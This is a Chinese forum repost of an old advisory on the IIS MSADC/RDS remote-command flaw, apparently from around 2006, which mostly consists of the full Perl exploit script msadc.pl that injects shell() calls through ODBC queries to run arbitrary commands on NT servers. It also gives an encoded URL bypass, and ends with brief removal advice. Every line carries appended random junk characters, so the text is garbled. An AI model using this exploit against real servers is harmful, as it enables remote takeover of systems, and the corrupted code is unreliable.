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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) =KJK'1m9  
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涉及程序: p~1,[]k  
Microsoft NT server J1DX}h]  
b*=eMcd  
描述: + 5E6|  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 %.,-dV'  
J^[>F{8!n  
详细: ]0P-?O:  
如果你没有时间读详细内容的话,就删除: ,^,KWi9  
c:\Program Files\Common Files\System\Msadc\msadcs.dll }8cL+JJU  
有关的安全问题就没有了。 m@o/W  
TNBFb_F  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 K FV&Dt}<  
[ 9)9>-  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 m=i8o `  
关于利用ODBC远程漏洞的描述,请参看: E>~DlL%  
{IEc{y7?gO  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm NN1d?cOn  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 %lPAq  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp _YzItge*  
tcOgF:  
这里不再论述。 F VW&&ft  
8 PI>Q  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: kQ4-W9u  
%g7 !4  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 9`4mvK/@  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! k&|L"N|w  
qk~ni8  
B$A`-  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Lf_`8Ux  
8 _0j^oh  
#!perl wN/d J  
# CuRYtY@9  
# MSADC/RDS 'usage' (aka exploit) script r@L19d)J  
# =*0<.Lo':  
# by rain.forest.puppy KK" uSC  
# @8X)hpHf  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ^t4T8ejn  
# beta test and find errors! TJ9JIxnS  
I3uS?c  
use Socket; use Getopt::Std; X%Jq9_  
getopts("e:vd:h:XR", \%args); :-HVK^$%  
Zh.5\&bm  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 6W&huIQ[  
IB#L5yN r  
if (!defined $args{h} && !defined $args{R}) { `hYj0:*)S$  
print qq~ >?K@zsv}  
Usage: msadc.pl -h <host> { -d <delay> -X -v } F VBuCi?W  
-h <host> = host you want to scan (ip or domain) ("UcjB^62  
-d <seconds> = delay between calls, default 1 second "w ] Bq0  
-X = dump Index Server path table, if available K!^x+B|  
-v = verbose $%!'c# F  
-e = external dictionary file for step 5 -'btKz*9  
In)8AK(Hw  
Or a -R will resume a command session } MBxfZ4I  
FbB^$ ]*  
~; exit;} ]pi"M 3f_  
EhDKh\OY5  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; W0%cJ8~  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} MHo(j%I1E  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} V'(yrz!   
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 7+wy`xi  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} /IS_-h7>XS  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ^eke,,~  
L+y}hb r  
if (!defined $args{R}){ $ret = &has_msadc; &P 'cf|KI  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ximW!y7  
b4%sOn,  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" u*:B 9E  
. "cmd /c "; vd`;(4i#X  
$in=<STDIN>; chomp $in; GUyMo@g  
$command="cmd /c " . $in ; KhK:%1po  
Gkci_A*  
if (defined $args{R}) {&load; exit;} @-y.Y}k#$~  
UMsJg7~  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 5tUp[/]pl  
&try_btcustmr; h^ wu8E   
^PDz"L<*  
print "\nStep 2: Trying to make our own DSN..."; RGd@3OjN  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; aOZSX3;wg  
vAZc.=+ >  
print "\nStep 3: Trying known DSNs..."; +\~.cP7[  
&known_dsn; :%ms6j/B&V  
Sx{vZS3  
print "\nStep 4: Trying known .mdbs..."; 1fwjW0t  
&known_mdb; ]6)^+(zU  
"w3#2q&  
if (defined $args{e}){ pC<~\RR  
print "\nStep 5: Trying dictionary of DSN names..."; 1FC'DH!  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ,S(^r1R   
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print "Sorry Charley...maybe next time?\n"; jG8W|\8  
exit; ( )K,~  
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############################################################################## :^~I@)"ov  
 ~ Dvxe  
sub sendraw { # ripped and modded from whisker ~)Z{ Yj9)S  
sleep($delay); # it's a DoS on the server! At least on mine... Ni]V)wGE;  
my ($pstr)=@_; =.19 7)e  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || TC7&IqT  
die("Socket problems\n"); 7Gg3$E+#*  
if(connect(S,pack "SnA4x8",2,80,$target)){ LLE\;,bv  
select(S); $|=1; dO/iL7K&  
print $pstr; my @in=<S>; ;!H<W[  
select(STDOUT); close(S); R+vago:  
return @in; i*-[-hn-V  
} else { die("Can't connect...\n"); }} ~,j52obR6Z  
I =G3  
############################################################################## >2Z0XEe  
@'UbTB!  
sub make_header { # make the HTTP request YC(7k7  
my $msadc=<<EOT -E, d)O`;$  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 M\4pTcz{  
User-Agent: ACTIVEDATA SMX70T!'9  
Host: $ip qPle=6U[IL  
Content-Length: $clen kpT>xS^6<  
Connection: Keep-Alive _}8hE v  
d.wu   
ADCClientVersion:01.06 OCR`1  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 'T G43^  
}G8gk"st  
--!ADM!ROX!YOUR!WORLD! z4 GcS/3K  
Content-Type: application/x-varg y.h2hv]Bc  
Content-Length: $reqlen 7.V'T=@x3)  
 6/u]r  
EOT )-yJKmV  
; $msadc=~s/\n/\r\n/g; 9g %1^$R  
return $msadc;} ]Rah,4?9f  
Udj!y$?  
############################################################################## fC6zDTis8A  
3<Qe'd ^  
sub make_req { # make the RDS request %t&   
my ($switch, $p1, $p2)=@_; \YXzq<7  
my $req=""; my $t1, $t2, $query, $dsn; tOUpK20q.@  
uY6]rt_#a  
if ($switch==1){ # this is the btcustmr.mdb query 25e*W>SLw  
$query="Select * from Customers where City=" . make_shell(); OH.lAF4E(  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 'OrGt_U  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} !e>+ O^  
)Z4ilpU,  
elsif ($switch==2){ # this is general make table query r 7 dwj  
$query="create table AZZ (B int, C varchar(10))"; z4CqHS~%  
$dsn="$p1";} T'VZ=l[  
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elsif ($switch==3){ # this is general exploit table query EI+RF{IKh  
$query="select * from AZZ where C=" . make_shell(); Ep>} S  
$dsn="$p1";} =rL%P~0wq  
W4MU^``   
elsif ($switch==4){ # attempt to hork file info from index server B{}<DP.  
$query="select path from scope()"; Z5x&P_.x[  
$dsn="Provider=MSIDXS;";} EKQ\MC1  
QMO.Bnek  
elsif ($switch==5){ # bad query :V,agAMn  
$query="select"; qr$h51C&  
$dsn="$p1";} Sj=x.Tr\  
2A>s a3\  
$t1= make_unicode($query); SSr#MIS?  
$t2= make_unicode($dsn); e3o?=;  
$req = "\x02\x00\x03\x00"; *A<vrkHz  
$req.= "\x08\x00" . pack ("S1", length($t1)); \zCw&#D0Z  
$req.= "\x00\x00" . $t1 ; %:/@1r7o>  
$req.= "\x08\x00" . pack ("S1", length($t2)); H$D),s gv  
$req.= "\x00\x00" . $t2 ; I 68Y4s  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; hQWo ]WF(J  
return $req;} >z #^JR\6  
pW[KC!  
############################################################################## HB|R1<t;HB  
7~zd % o  
sub make_shell { # this makes the shell() statement |B{@noGX  
return "'|shell(\"$command\")|'";} (5rfeSA^  
MUQj7.rNa  
############################################################################## +aY]?]  
X RQz~Py  
sub make_unicode { # quick little function to convert to unicode &\Ze<u  
my ($in)=@_; my $out; ]Rk4"i  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } -eE r|Gs)  
return $out;} .}n-N #  
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############################################################################## 7\0}te  
)6!ji]c N  
sub rdo_success { # checks for RDO return success (this is kludge) 5%r:hO @S  
my (@in) = @_; my $base=content_start(@in); OrC}WMhd  
if($in[$base]=~/multipart\/mixed/){ mJU1n  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 4Tdp;n\F  
return 0;} ]z77hcjB1  
 cFD3  
############################################################################## C%RYQpY*c  
" ""k}M2A  
sub make_dsn { # this makes a DSN for us +nAbcBJAl  
my @drives=("c","d","e","f"); o;kxu(>yL'  
print "\nMaking DSN: "; 6 2*p*t  
foreach $drive (@drives) { qr@ <'wp/  
print "$drive: "; VY#nSF`  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ?zk#}Ex1  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" E4QLXx6Wa&  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); y2`},  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 7oy}<9  
return 0 if $2 eq "404"; # not found/doesn't exist 7 :C_{\(  
if($2 eq "200") { wU}%]FqtZ=  
foreach $line (@results) { .&i_~?1[N  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} @sdHB ./  
} return 0;} +0l-zd\  
zJ*(G_H  
############################################################################## 73p7]Uo  
''Y'ZsQ;  
sub verify_exists { M\_IQj  
my ($page)=@_; ieap  
my @results=sendraw("GET $page HTTP/1.0\n\n"); UdOO+Z_K%  
return $results[0];} >vPv 4e7&3  
_ ?o>i/  
############################################################################## g)mjw  
4JO[yN  
sub try_btcustmr { XN&cM,   
my @drives=("c","d","e","f"); +\R__tx;  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ]N;\AXZ7  
gyz_$T@x  
foreach $dir (@dirs) { I7 = 4%)A  
print "$dir -> "; # fun status so you can see progress YD{Ppz  
foreach $drive (@drives) { Y"  Ut  
print "$drive: "; # ditto oQiRjDLx  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 1/ 3<u::  
$reqlenlen=length( "$reqlen" ); _C3O^/<n4V  
$clen= 206 + $reqlenlen + $reqlen; BUs={"Pa  
kBeYl+*pk  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Zmc"  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 3\ {?L  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ZLZh$eZZ  
LgxsO:mi  
############################################################################## *x-@}WY$U  
e>2KW5.  
sub odbc_error { : i{tqY%  
my (@in)=@_; my $base; iLt2L;v>h  
my $base = content_start(@in); j  Gp&P  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this  3 GL,=q  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3y%,f|ju  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; LC, 6hpmh  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  Al1}Ir   
return $in[$base+4].$in[$base+5].$in[$base+6];} tbXl5x0  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; _)S['[  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 8F K%7\V  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} X#>:9  
C %i{{Y&l  
############################################################################## >{)\GK0i 7  
-V&nlP  
sub verbose { ~l8w]R3A  
my ($in)=@_; }nRTw2-z  
return if !$verbose; }X/>WiGh:  
print STDOUT "\n$in\n";} Ye|(5f  
b]4\$rW7  
############################################################################## \iRmGvT  
j#jwK(:]  
sub save { =o:1Rc7J  
my ($p1, $p2, $p3, $p4)=@_; / K(l[M  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; N9#5 P!  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; J9/EJ'My  
close OUT;} Urz9S3#\  
Z<iK(?@O  
############################################################################## .L~ NX/V  
t"Bp # U1  
sub load { `&:>?Y/X2  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; _fdD4-2U  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); jmG)p|6  
@p=<IN>; close(IN); 9tWpxrig%  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);  (l-l Y  
$target= inet_aton($ip) || die("inet_aton problems"); PA*1]i#2M=  
print "Resuming to $ip ..."; 7_R[ =t  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; |'``pq/}_  
if($p[1]==1) { OFxCV`>ce  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; j>?`N^  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ceuEsQ}  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ..R JHa6B  
if (rdo_success(@results)){print "Success!\n";} ? q_%  
else { print "failed\n"; verbose(odbc_error(@results));}} A%cJ5dF8~  
elsif ($p[1]==3){ j 8)*'T  
if(run_query("$p[3]")){ ,e^~(ITaq  
print "Success!\n";} else { print "failed\n"; }} rJ{k1H>  
elsif ($p[1]==4){ Z,DSTP\|  
if(run_query($drvst . "$p[3]")){ R=3|(R+kA  
print "Success!\n"; } else { print "failed\n"; }} +K s3  
exit;} "rrw~  
{PkR6.XhR  
############################################################################## q|}O-A*wa  
fR b  
sub create_table { /:v}Ni"6nF  
my ($in)=@_; `-.6;T}2U  
$reqlen=length( make_req(2,$in,"") ) - 28; D_?dy4\  
$reqlenlen=length( "$reqlen" ); K 6yD64  
$clen= 206 + $reqlenlen + $reqlen; ;jJ4H+8  
my @results=sendraw(make_header() . make_req(2,$in,"")); I Z|EPzS  
return 1 if rdo_success(@results); <KJ|U0/jGd  
my $temp= odbc_error(@results); verbose($temp); `oTV)J'~  
return 1 if $temp=~/Table 'AZZ' already exists/; CTe!jMZ=  
return 0;} ;Y,zlq2  
e8E'X  
############################################################################## CkRilS<  
S5:&_&R8[  
sub known_dsn { E[i#8_  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go I/%L,XyRI  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", kRr/x-"  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", eE_$ADEf  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); O6,2M[a  
_kc}:  
foreach $dSn (@dsns) { &7,:: $cu  
print "."; yFn~rv|&G  
next if (!is_access("DSN=$dSn")); ILx4 [m7  
if(create_table("DSN=$dSn")){ +s6v!({Z  
print "$dSn successful\n"; K^h9\< w  
if(run_query("DSN=$dSn")){ [&IcIZ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { W7c B  
print "Something's borked. Use verbose next time\n";}}} print "\n";} VN0KK 1 I  
oWx^_wQ-=  
############################################################################## Av0(zA2  
nly}ly Q/  
sub is_access { 9f/l"  
my ($in)=@_; oVr:ZwkG3  
$reqlen=length( make_req(5,$in,"") ) - 28; ;<*USS6X  
$reqlenlen=length( "$reqlen" ); gi>W&6  
$clen= 206 + $reqlenlen + $reqlen; 0e07pF/!  
my @results=sendraw(make_header() . make_req(5,$in,"")); (5A8#7a  
my $temp= odbc_error(@results); F-F1^$]k  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); H]W'mm  
return 0;} 6b%IPbb  
ArjRoXDE  
############################################################################## a*t @k*d_  
r7#.DJnN.  
sub run_query { Nobu= Z  
my ($in)=@_; g<ov` bF  
$reqlen=length( make_req(3,$in,"") ) - 28; cNikLd~?A  
$reqlenlen=length( "$reqlen" ); >5E1y!  
$clen= 206 + $reqlenlen + $reqlen; *Z\AO'h=Z  
my @results=sendraw(make_header() . make_req(3,$in,"")); 0_AIKJrL  
return 1 if rdo_success(@results); Ly/  
my $temp= odbc_error(@results); verbose($temp); N ]14~r=  
return 0;} b@Dt]6_ UL  
cml~Oepf  
############################################################################## k'*vG6!  
ri-D#F)}  
sub known_mdb { I5Ty@J#  
my @drives=("c","d","e","f","g"); pN_%>v"o  
my @dirs=("winnt","winnt35","winnt351","win","windows"); (.iwD&  
my $dir, $drive, $mdb; o bN8+ j  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; K}M lC}oIt  
|3~]XN-  
# this is sparse, because I don't know of many 7z$bCO L=S  
my @sysmdbs=( "\\catroot\\icatalog.mdb", %iME[| u&  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", :yE0DS<_  
"\\system32\\certmdb.mdb", <$pv;]n  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% cL!A,+S[_  
u\M xQIo'u  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Jamt@=  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ho)JY $#6  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", WJ)4rQ$o  
"\\cfusion\\cfapps\\security\\realm_.mdb", .LDp.#d9r1  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", LitdO>%#2  
"\\cfusion\\database\\cfexamples.mdb", ..k8HFz>"  
"\\cfusion\\database\\cfsnippets.mdb", e2BC2K0  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", f`*VNB`  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", WgG$ r  
"\\cfusion\\brighttiger\\database\\cleam.mdb", miTff[hsMa  
"\\cfusion\\database\\smpolicy.mdb", I;1)a4Xc4R  
"\\cfusion\\database\cypress.mdb", 2ga8 G4dU  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", _>aP5g?Ep  
"\\website\\cgi-win\\dbsample.mdb", SSbx[<E3  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", #qUGc`  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" uix/O*^  
); #these are just Q, "8Ty  
foreach $drive (@drives) { pr1bsrMuL  
foreach $dir (@dirs){ )pe17T1|  
foreach $mdb (@sysmdbs) { LE)$_i8gX  
print "."; @Kn@j D;  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ dz>Jl},`k  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; X 5X D1[  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ H:9G/Nev  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; S{v]B_N[M  
} else { print "Something's borked. Use verbose next time\n"; }}}}} RnU7|p{  
o2hk!#5[4  
foreach $drive (@drives) { [clwmx  
foreach $mdb (@mdbs) { A|]#b?-  
print "."; #_`q bIOAj  
if(create_table($drv . $drive . $dir . $mdb)){ eMdf [eS  
print "\n" . $drive . $dir . $mdb . " successful\n"; hSXJDT2  
if(run_query($drv . $drive . $dir . $mdb)){ K3UN#G)U  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; C@\5%~tW+  
} else { print "Something's borked. Use verbose next time\n"; }}}} 0*9xau{(  
} ho B[L}<c  
nz'6^D7`r  
############################################################################## G<$8g-O;D  
D%LYQ  
sub hork_idx { Sv0?_3C  
print "\nAttempting to dump Index Server tables...\n"; Mu-kvgO`L  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Owgy<@C  
$reqlen=length( make_req(4,"","") ) - 28; w El-  
$reqlenlen=length( "$reqlen" ); CEBG9[|  
$clen= 206 + $reqlenlen + $reqlen; `m8WLj  
my @results=sendraw2(make_header() . make_req(4,"","")); Pa+_{9  
if (rdo_success(@results)){ !f&hVLs0  
my $max=@results; my $c; my %d; `u7^r^>A  
for($c=19; $c<$max; $c++){ RHpjJZUV  
$results[$c]=~s/\x00//g; R*FDg;t4  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; $duT'G, -  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; .Pte}pM"v  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 6w(r}yO]  
$d{"$1$2"}="";} En#Q p3  
foreach $c (keys %d){ print "$c\n"; } _d!o,=}  
} else {print "Index server doesn't seem to be installed.\n"; }} 'ey62-^r6  
#B6f{D[pI  
############################################################################## #`f{\  
~b!la  
sub dsn_dict { W}2!~ep!  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 6O.kKhk  
while(<IN>){ (9TSH3f?  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; FC6~V6R  
next if (!is_access("DSN=$dSn")); $~/cxLcT  
if(create_table("DSN=$dSn")){ r\FZ-gk}Q  
print "$dSn successful\n"; Ewq@>$_!  
if(run_query("DSN=$dSn")){ wHQ$xO;vD'  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { =au!rda  
print "Something's borked. Use verbose next time\n";}}} 6Z' K1  
print "\n"; close(IN);} ?G!~&  
?8?vBkz~  
############################################################################## c0rU&+:Ry  
~:U`^wtQ  
sub sendraw2 { # ripped and modded from whisker } XhL`%  
sleep($delay); # it's a DoS on the server! At least on mine... INp:;  
my ($pstr)=@_; `4X.UPJ  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ;m>/tD%  
die("Socket problems\n"); c3ru4o*K  
if(connect(S,pack "SnA4x8",2,80,$target)){ ~e]B[>PT  
print "Connected. Getting data"; }&v-<qC^  
open(OUT,">raw.out"); my @in; HwZl"!;Mry  
select(S); $|=1; print $pstr; HC1<zW[  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} nCp_RJu  
close(OUT); select(STDOUT); close(S); return @in; ' Q(kx*;  
} else { die("Can't connect...\n"); }} 9wGsHf8]  
X%&7-PO  
############################################################################## S w%6-  
E{ e  
sub content_start { # this will take in the server headers mvc ;.+  
my (@in)=@_; my $c; nnN$?'%~6  
for ($c=1;$c<500;$c++) { K|$ c#X  
if($in[$c] =~/^\x0d\x0a/){ Fj2z$   
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Yb_HvP  
else { return $c+1; }}} a~a:mM > p  
return -1;} # it should never get here actually L-S5@;"  
Z!^>!' Z  
############################################################################## s^IC]sW\%  
jb,a>9 ]p  
sub funky { 4b;*:C4?  
my (@in)=@_; my $error=odbc_error(@in); ]h' 38W  
if($error=~/ADO could not find the specified provider/){ _u u&?<h  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 3N+B|WrM  
exit;} j[FB*L1!D  
if($error=~/A Handler is required/){ b]Kb ~y|  
print "\nServer has custom handler filters (they most likely are patched)\n"; 9L3P'!Z  
exit;} ~o|sma5.  
if($error=~/specified Handler has denied Access/){ o@_i&4[MW  
print "\nServer has custom handler filters (they most likely are patched)\n"; ]B3+& g  
exit;}} 2yZ~j_AF[  
:t9![y[=|  
############################################################################## t']/2m.&p  
%t!r pyD  
sub has_msadc { (Fuu V{x|  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); WAR!#E#J7  
my $base=content_start(@results); _e ;b B?S  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 67&Q<`V1*q  
return 0;} DNqV]N_W  
do.>Y}d  
######################## y7CO%SA  
4F0w+w JD  
7UG c2J  
解决方案: F.i}&UQ%  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll +Yq?:uBV  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 T ,!CDm$=  
":qHDL3  
拿出来充数 哈哈
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